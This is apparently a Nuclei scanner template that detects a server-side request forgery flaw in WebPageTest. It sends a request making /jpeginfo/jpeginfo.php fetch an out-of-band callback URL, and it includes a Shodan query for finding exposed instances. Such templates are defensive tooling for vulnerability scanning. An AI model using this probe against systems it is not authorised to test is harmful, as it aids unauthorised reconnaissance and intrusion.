id: webpagetest-ssrf

info:
  name: Web Page Test - Server Side Request Forgery (SSRF)
  author: pdteam
  severity: high
  description: Web Page Test is vulnerable to SSRF.
  reference:
    - https://thinkloveshare.com/hacking/preauth_remote_code_execution_web_page_test/
    - https://github.com/WPO-Foundation/webpagetest
  classification:
    cpe: cpe:2.3:a:webpagetest:webpagetest:*:*:*:*:*:*:*:*
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    vendor: webpagetest
    product: webpagetest
    shodan-query: title:"WebPageTest"
  tags: ssrf,webpagetest,oast,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jpeginfo/jpeginfo.php?url={{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "File is not a JPEG Image"

      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 490a004630440220484eb1954c120ed3fa00d22042fd9a718a8d3053898c5c2bc221a881eba95eb0022007997df62b25aca2ee1aee2bcdb59a36ea32b84d1cfe16f58f3013e6374fd139:922c64590222798bb761d5b6d8e72950